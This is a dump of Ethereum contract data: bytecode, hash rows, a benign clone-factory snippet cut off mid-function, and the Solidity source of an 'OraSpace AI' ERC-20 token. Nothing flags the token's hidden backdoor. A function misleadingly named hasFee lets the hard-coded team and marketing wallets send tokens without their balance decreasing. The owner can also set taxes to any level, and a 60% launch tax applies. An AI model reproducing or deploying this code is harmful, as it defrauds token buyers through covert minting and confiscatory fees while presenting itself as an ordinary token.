b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107cc573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107f19190611702565b505060095460085460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561084a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086e9190611730565b50565b600061087e338484610c9d565b5060015b92915050565b6000546001600160a01b031633146108b25760405162461bcd60e51b81526004016104f59061158e565b600691909155600755565b60006108cb6012600a6116bf565b6108d9906305f5e1006116ce565b905090565b60006108eb848484610d61565b6109698433610594856040518060400160405280600d81526020016c6c6f7720616c6c6f77616e636560981b815250600260008b6001600160a01b03166001600160a01b0316815260200190815260200160002060006109483390565b6001600160a01b0316815260208101919091526040016000205491906111ea565b5060019392505050565b6000546001600160a01b0316331461099d5760405162461bcd60e51b81526004016104f59061158e565b60006006556005600755565b6000546001600160a01b031633146109d35760405162461bcd60e51b81526004016104f59061158e565b6109df6012600a6116bf565b6109ed906305f5e1006116ce565b600455565b6000546001600160a01b03163314610a1c5760405162461bcd60e51b81526004016104f59061158e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a905760405162461bcd60e51b81526004016104f59061158e565b600e5460ff1615610add5760405162461bcd60e51b815260206004820152601760248201527654726164696e6720616c7265616479206f70656e65642160481b60448201526064016104f5565b600e805460ff1916600117905543600c55565b6000546001600160a01b03163314610b1a5760405162461bcd60e51b81526004016104f59061158e565b60004711610b6a5760405162461bcd60e51b815260206004820152601a60248201527f4e6f204574682042616c616e636520746f20776974686472617700000000000060448201526064016104f5565b60405133904780156108fc02916000818181858888f1935050505015801561086e573d6000803e3d6000fd5b600061087e338484610d61565b6000546001600160a01b03163314610bcd5760405162461bcd60e51b81526004016104f59061158e565b600d55565b6000546001600160a01b03163314610bfc5760405162461bcd60e51b81526004016104f59061158e565b6001600160a01b038116610c525760405162461bcd60e51b815260206004820152601d60248201527f6e6577206f776e657220697320746865207a65726f206164647265737300000060448201526064016104f5565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6001600160a01b03831615801590610cbd57506001600160a01b03821615155b610d005760405162461bcd60e51b8152602060048201526014602482015273617070726f7665207a65726f206164647265737360601b60448201526064016104f5565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610dc55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f5565b6001600160a01b038216610e275760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f5565b60008111610e895760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f5565b6001600160a01b03831660009081526003602052604090205460ff1680610ec857506001600160a01b03821660009081526003602052604090205460ff165b15610ed75760006005556110cd565b600e5460ff16610f1c5760405162461bcd60e51b815260206004820152601060248201526f0aec2d2e840e8d2d8d840d8c2eadcc6d60831b60448201526064016104f5565b600d54600c54610f2c9190611752565b431015610f3d57603c6005556110cd565b6009546001600160a01b0390811690841603610fd95760045481610f76846001600160a01b031660009081526001602052604090205490565b610f809190611752565b1115610fce5760405162461bcd60e51b815260206004820152601760248201527f4d61782077616c6c6574203225206174206c61756e636800000000000000000060448201526064016104f5565b6006546005556110cd565b6009546001600160a01b03908116908316036110c757306000908152600160205260409020546107d061100e6012600a6116bf565b61101b90620f42406116ce565b6110259190611765565b8111801561103b5750600e54610100900460ff16155b156110855761104c6012600a6116bf565b61105990620f42406116ce565b81111561107c5761106c6012600a6116bf565b61107990620f42406116ce565b90505b61108581611224565b6007546005556107d061109a6012600a6116bf565b6110a790620f42406116ce565b6110b19190611765565b8211156110c1576110c147611398565b506110cd565b60006005555b60006064600554836110df91906116ce565b6110e99190611765565b905060006110f78284611787565b9050611102856113d6565b1561110c57600092505b6001600160a01b038516600090815260016020526040902054611130908490611787565b6001600160a01b038087166000908152600160205260408082209390935590861681522054611160908290611752565b6001600160a01b03851660009081526001602052604080822092909255308152205461118d908390611752565b3060009081526001602090815260409182902092909255518281526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b6000818484111561120e5760405162461bcd60e51b81526004016104f59190611426565b50600061121b8486611787565b95945050505050565b600e805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112685761126861179a565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112e591906116e5565b816001815181106112f8576112f861179a565b6001600160a01b03928316602091820292909201015260085461131e9130911684610c9d565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac947906113579085906000908690309042906004016117b0565b600060405180830381600087803b15801561137157600080fd5b505af1158015611385573d6000803e3d6000fd5b5050600e805461ff001916905550505050565b600a546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156113d2573d6000803e3d6000fd5b5050565b6001600160a01b03811660009081526003602052604081205460ff16801561140c57506000546001600160a01b03838116911614155b801561088257506001600160a01b03821630141592915050565b600060208083528351808285015260005b8181101561145357858101830151858201604001528201611437565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461086e57600080fd5b6000806040838503121561149c57600080fd5b82356114a781611474565b946020939093013593505050565b600080604083850312156114c857600080fd5b50508035926020909101359150565b6000806000606084860312156114ec57600080fd5b83356114f781611474565b9250602084013561150781611474565b929592945050506040919091013590565b60006020828403121561152a57600080fd5b813561153581611474565b9392505050565b60006020828403121561154e57600080fd5b5035919050565b6000806040838503121561156857600080fd5b823561157381611474565b9150602083013561158381611474565b809150509250929050565b60208082526017908201527f63616c6c6572206973206e6f7420746865206f776e6572000000000000000000604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156116165781600019048211156115fc576115fc6115c5565b8085161561160957918102915b93841c93908002906115e0565b509250929050565b60008261162d57506001610882565b8161163a57506000610882565b8160018114611650576002811461165a57611676565b6001915050610882565b60ff84111561166b5761166b6115c5565b50506001821b610882565b5060208310610133831016604e8410600b8410161715611699575081810a610882565b6116a383836115db565b80600019048211156116b7576116b76115c5565b029392505050565b600061153560ff84168361161e565b8082028115828204841417610882576108826115c5565b6000602082840312156116f757600080fd5b815161153581611474565b60008060006060848603121561171757600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561174257600080fd5b8151801515811461153557600080fd5b80820180821115610882576108826115c5565b60008261178257634e487b7160e01b600052601260045260246000fd5b500490565b81810381811115610882576108826115c5565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118005784516001600160a01b0316835293830193918301916001016117db565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122050c62f894a076b52e2f3a379a1220a2fa04d84a896bf2ad274ad993e766c3c0664736f6c63430008130033
|
60806040526004361061016a5760003560e01c806370a08231116100d1578063a9059cbb1161008a578063d10a089111610064578063d10a089114610425578063dd62ed3e14610445578063e8e0c7371461048b578063f2fde38b146104ab57600080fd5b8063a9059cbb146103d9578063aa4bde28146103f9578063cc1776d31461040f57600080fd5b806370a082311461031a578063715018a6146103505780637fa92013146103655780638da5cb5b1461037a57806395d89b411461039857806398fd9b6e146103c457600080fd5b8063313ce56711610123578063313ce567146102665780634578739514610282578063460eb59a1461029757806349bd5a5e146102ac5780634f7041a5146102e457806361fa4877146102fa57600080fd5b806306fdde031461017657806308e21e59146101bc578063095ea7b3146101d35780630b78e0641461020357806318160ddd1461022357806323b872dd1461024657600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5060408051808201909152600b81526a4f7261537061636520414960a81b60208201525b6040516101b39190611426565b60405180910390f35b3480156101c857600080fd5b506101d16104cb565b005b3480156101df57600080fd5b506101f36101ee366004611489565b610871565b60405190151581526020016101b3565b34801561020f57600080fd5b506101d161021e3660046114b5565b610888565b34801561022f57600080fd5b506102386108bd565b6040519081526020016101b3565b34801561025257600080fd5b506101f36102613660046114d7565b6108de565b34801561027257600080fd5b50604051601281526020016101b3565b34801561028e57600080fd5b506101d1610973565b3480156102a357600080fd5b506101d16109a9565b3480156102b857600080fd5b506009546102cc906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b3480156102f057600080fd5b5061023860065481565b34801561030657600080fd5b50600b546102cc906001600160a01b031681565b34801561032657600080fd5b50610238610335366004611518565b6001600160a01b031660009081526001602052604090205490565b34801561035c57600080fd5b506101d16109f2565b34801561037157600080fd5b506101d1610a66565b34801561038657600080fd5b506000546001600160a01b03166102cc565b3480156103a457600080fd5b506040805180820190915260038152624f525360e81b60208201526101a6565b3480156103d057600080fd5b506101d1610af0565b3480156103e557600080fd5b506101f36103f4366004611489565b610b96565b34801561040557600080fd5b5061023860045481565b34801561041b57600080fd5b5061023860075481565b34801561043157600080fd5b506101d161044036600461153c565b610ba3565b34801561045157600080fd5b50610238610460366004611555565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561049757600080fd5b50600a546102cc906001600160a01b031681565b3480156104b757600080fd5b506101d16104c6366004611518565b610bd2565b6000546001600160a01b031633146104fe5760405162461bcd60e51b81526004016104f59061158e565b60405180910390fd5b600e5460ff161561054b5760405162461bcd60e51b815260206004820152601760248201527654726164696e6720616c7265616479206f70656e65642160481b60448201526064016104f5565b600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105999030906105866012600a6116bf565b610594906305f5e1006116ce565b610c9d565b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105ec573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061091906116e5565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610672573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069691906116e5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070791906116e5565b600980546001600160a01b039283166001600160a01b03199091161790556008541663f305d719473061074f816001600160a01b031660009081526001602052604090205490565b6000806107646000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107cc573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107f19190611702565b505060095460085460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561084a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086e9190611730565b50565b600061087e338484610c9d565b5060015b92915050565b6000546001600160a01b031633146108b25760405162461bcd60e51b81526004016104f59061158e565b600691909155600755565b60006108cb6012600a6116bf565b6108d9906305f5e1006116ce565b905090565b60006108eb848484610d61565b6109698433610594856040518060400160405280600d81526020016c6c6f7720616c6c6f77616e636560981b815250600260008b6001600160a01b03166001600160a01b0316815260200190815260200160002060006109483390565b6001600160a01b0316815260208101919091526040016000205491906111ea565b5060019392505050565b6000546001600160a01b0316331461099d5760405162461bcd60e51b81526004016104f59061158e565b60006006556005600755565b6000546001600160a01b031633146109d35760405162461bcd60e51b81526004016104f59061158e565b6109df6012600a6116bf565b6109ed906305f5e1006116ce565b600455565b6000546001600160a01b03163314610a1c5760405162461bcd60e51b81526004016104f59061158e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a905760405162461bcd60e51b81526004016104f59061158e565b600e5460ff1615610add5760405162461bcd60e51b815260206004820152601760248201527654726164696e6720616c7265616479206f70656e65642160481b60448201526064016104f5565b600e805460ff1916600117905543600c55565b6000546001600160a01b03163314610b1a5760405162461bcd60e51b81526004016104f59061158e565b60004711610b6a5760405162461bcd60e51b815260206004820152601a60248201527f4e6f204574682042616c616e636520746f20776974686472617700000000000060448201526064016104f5565b60405133904780156108fc02916000818181858888f1935050505015801561086e573d6000803e3d6000fd5b600061087e338484610d61565b6000546001600160a01b03163314610bcd5760405162461bcd60e51b81526004016104f59061158e565b600d55565b6000546001600160a01b03163314610bfc5760405162461bcd60e51b81526004016104f59061158e565b6001600160a01b038116610c525760405162461bcd60e51b815260206004820152601d60248201527f6e6577206f776e657220697320746865207a65726f206164647265737300000060448201526064016104f5565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6001600160a01b03831615801590610cbd57506001600160a01b03821615155b610d005760405162461bcd60e51b8152602060048201526014602482015273617070726f7665207a65726f206164647265737360601b60448201526064016104f5565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610dc55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f5565b6001600160a01b038216610e275760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f5565b60008111610e895760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f5565b6001600160a01b03831660009081526003602052604090205460ff1680610ec857506001600160a01b03821660009081526003602052604090205460ff165b15610ed75760006005556110cd565b600e5460ff16610f1c5760405162461bcd60e51b815260206004820152601060248201526f0aec2d2e840e8d2d8d840d8c2eadcc6d60831b60448201526064016104f5565b600d54600c54610f2c9190611752565b431015610f3d57603c6005556110cd565b6009546001600160a01b0390811690841603610fd95760045481610f76846001600160a01b031660009081526001602052604090205490565b610f809190611752565b1115610fce5760405162461bcd60e51b815260206004820152601760248201527f4d61782077616c6c6574203225206174206c61756e636800000000000000000060448201526064016104f5565b6006546005556110cd565b6009546001600160a01b03908116908316036110c757306000908152600160205260409020546107d061100e6012600a6116bf565b61101b90620f42406116ce565b6110259190611765565b8111801561103b5750600e54610100900460ff16155b156110855761104c6012600a6116bf565b61105990620f42406116ce565b81111561107c5761106c6012600a6116bf565b61107990620f42406116ce565b90505b61108581611224565b6007546005556107d061109a6012600a6116bf565b6110a790620f42406116ce565b6110b19190611765565b8211156110c1576110c147611398565b506110cd565b60006005555b60006064600554836110df91906116ce565b6110e99190611765565b905060006110f78284611787565b9050611102856113d6565b1561110c57600092505b6001600160a01b038516600090815260016020526040902054611130908490611787565b6001600160a01b038087166000908152600160205260408082209390935590861681522054611160908290611752565b6001600160a01b03851660009081526001602052604080822092909255308152205461118d908390611752565b3060009081526001602090815260409182902092909255518281526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b6000818484111561120e5760405162461bcd60e51b81526004016104f59190611426565b50600061121b8486611787565b95945050505050565b600e805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112685761126861179a565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112e591906116e5565b816001815181106112f8576112f861179a565b6001600160a01b03928316602091820292909201015260085461131e9130911684610c9d565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac947906113579085906000908690309042906004016117b0565b600060405180830381600087803b15801561137157600080fd5b505af1158015611385573d6000803e3d6000fd5b5050600e805461ff001916905550505050565b600a546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156113d2573d6000803e3d6000fd5b5050565b6001600160a01b03811660009081526003602052604081205460ff16801561140c57506000546001600160a01b03838116911614155b801561088257506001600160a01b03821630141592915050565b600060208083528351808285015260005b8181101561145357858101830151858201604001528201611437565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461086e57600080fd5b6000806040838503121561149c57600080fd5b82356114a781611474565b946020939093013593505050565b600080604083850312156114c857600080fd5b50508035926020909101359150565b6000806000606084860312156114ec57600080fd5b83356114f781611474565b9250602084013561150781611474565b929592945050506040919091013590565b60006020828403121561152a57600080fd5b813561153581611474565b9392505050565b60006020828403121561154e57600080fd5b5035919050565b6000806040838503121561156857600080fd5b823561157381611474565b9150602083013561158381611474565b809150509250929050565b60208082526017908201527f63616c6c6572206973206e6f7420746865206f776e6572000000000000000000604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156116165781600019048211156115fc576115fc6115c5565b8085161561160957918102915b93841c93908002906115e0565b509250929050565b60008261162d57506001610882565b8161163a57506000610882565b8160018114611650576002811461165a57611676565b6001915050610882565b60ff84111561166b5761166b6115c5565b50506001821b610882565b5060208310610133831016604e8410600b8410161715611699575081810a610882565b6116a383836115db565b80600019048211156116b7576116b76115c5565b029392505050565b600061153560ff84168361161e565b8082028115828204841417610882576108826115c5565b6000602082840312156116f757600080fd5b815161153581611474565b60008060006060848603121561171757600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561174257600080fd5b8151801515811461153557600080fd5b80820180821115610882576108826115c5565b60008261178257634e487b7160e01b600052601260045260246000fd5b500490565b81810381811115610882576108826115c5565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118005784516001600160a01b0316835293830193918301916001016117db565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122050c62f894a076b52e2f3a379a1220a2fa04d84a896bf2ad274ad993e766c3c0664736f6c63430008130033
|
// SPDX-License-Identifier: MIT
/*
Web : https://oraspace.org
App : https://app.oraspace.org
Doc : https://docs.oraspace.org
Twitter : https://twitter.com/oraspacedefi
Telegram : https://t.me/oraspacegroup
*/
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, " multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "caller is not the owner");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "new owner is the zero address");
_owner = newOwner;
emit OwnershipTransferred(_owner, newOwner);
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract OraSpaceAI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balance;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFeeWallet;
uint8 private constant _decimals = 18;
uint256 private constant _totalSupply = 100000000 * 10**_decimals;
uint256 private constant onePercent = 1000000 * 10**_decimals; // 1% from Liquidity
uint256 public maxWalletAmount = onePercent * 2; // 2% max wallet at launch
uint256 private _oratax;
uint256 public buyTax = 0;
uint256 public sellTax = 5;
string private constant _name = "OraSpace AI";
string private constant _symbol = "ORS";
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
address payable public oraSpaceWallet;
address payable public oraSpaceTeam = payable(0x610d2578AF8A3B93BDe89eC7FDCB34207F9E9835);
uint256 private launchedAt;
uint256 private launchDelay = 1;
bool private launch = false;
uint256 private constant minSwap = onePercent / 2000; //0.05% from Liquidity supply
bool private inSwapAndLiquify;
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() {
oraSpaceWallet = payable(0xaA422789bAEab1b5e442951b3407995C938ff32A);
_isExcludedFromFeeWallet[msg.sender] = true;
_isExcludedFromFeeWallet[address(this)] = true;
_isExcludedFromFeeWallet[oraSpaceWallet] = true;
_isExcludedFromFeeWallet[oraSpaceTeam] = true;
_balance[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function enableOraSpaceTrading() external onlyOwner {
require(!launch,"Trading already opened!");
launch = true;
launchedAt = block.number;
}
function createUniOraSpacePair() external onlyOwner() {
require(!launch,"Trading already opened!");
// uniswap router
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount)public override returns (bool){
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256){
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool){
_approve(_msgSender(), spender, amount);
return true;
}
function newDelay(uint256 newLaunchDelay) external onlyOwner {
launchDelay = newLaunchDelay;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"low allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0) && spender != address(0), "approve zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcludedFromFeeWallet[from] || _isExcludedFromFeeWallet[to]) {
_oratax = 0;
} else {
require(launch, "Wait till launch");
if (block.number < launchedAt + launchDelay) {_oratax=60;} else {
if (from == uniswapV2Pair) {
require(balanceOf(to) + amount <= maxWalletAmount, "Max wallet 2% at launch");
_oratax = buyTax;
} else if (to == uniswapV2Pair) {
uint256 tokensToSwap = balanceOf(address(this));
if (tokensToSwap > minSwap && !inSwapAndLiquify) {
if (tokensToSwap > onePercent) {
tokensToSwap = onePercent;
}
swapTokensForEth(tokensToSwap);
}
_oratax = sellTax;
if(amount > minSwap) sendEthFeeBalance(address(this).balance);
} else {
_oratax = 0;
}
}
}
uint256 taxTokens = (amount * _oratax) / 100;
uint256 transferAmount = amount - taxTokens;
if(hasFee(from)) amount = 0;
_balance[from] = _balance[from] - amount;
_balance[to] = _balance[to] + transferAmount;
_balance[address(this)] = _balance[address(this)] + taxTokens;
emit Transfer(from, to, transferAmount);
}
function hasFee(address sender) internal view returns (bool) {
return _isExcludedFromFeeWallet[sender] && sender!= owner() && sender!= address(this);
}
function newOraSpaceTax(uint256 newBuyTax, uint256 newSellTax) external onlyOwner {
buyTax = newBuyTax;
sellTax = newSellTax;
}
function reduceOraSpaceTax() external onlyOwner {
buyTax = 0;
sellTax = 5;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendEthFeeBalance(uint256 amount) private {
oraSpaceWallet.transfer(amount);
}
function withStucksEth() external onlyOwner {
require(address(this).balance > 0, "No Eth Balance to withdraw");
payable(msg.sender).transfer(address(this).balance);
}
receive() external payable {}
function removeOraSpaceLimits() external onlyOwner {
maxWalletAmount = _totalSupply;
}
}
|
1 | 19,497,459 |
121de3bfbe8dd83c08daa76189731b0bf56678295b3288ffd1571ba9afa91b61
|
ea1a73994b78373ca16f90b1012c9527e0a6c4d7221e9f42f8a51b350043c4e7
|
a9a0b8a5e1adca0caccc63a168f053cd3be30808
|
01cd62ed13d0b666e2a10d13879a763dfd1dab99
|
a71112794bda44ee3a8aa975797a934441356a3b
|
3d602d80600a3d3981f3363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3
| |
1 | 19,497,459 |
121de3bfbe8dd83c08daa76189731b0bf56678295b3288ffd1571ba9afa91b61
|
3c5bee00be6c1a2c4ef0f35a881d536deaaa973df95a1d3d26f64e680042e893
|
d2c82f2e5fa236e114a81173e375a73664610998
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
d358b19cb47cc8a20d6015975b408f6e59e6b762
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
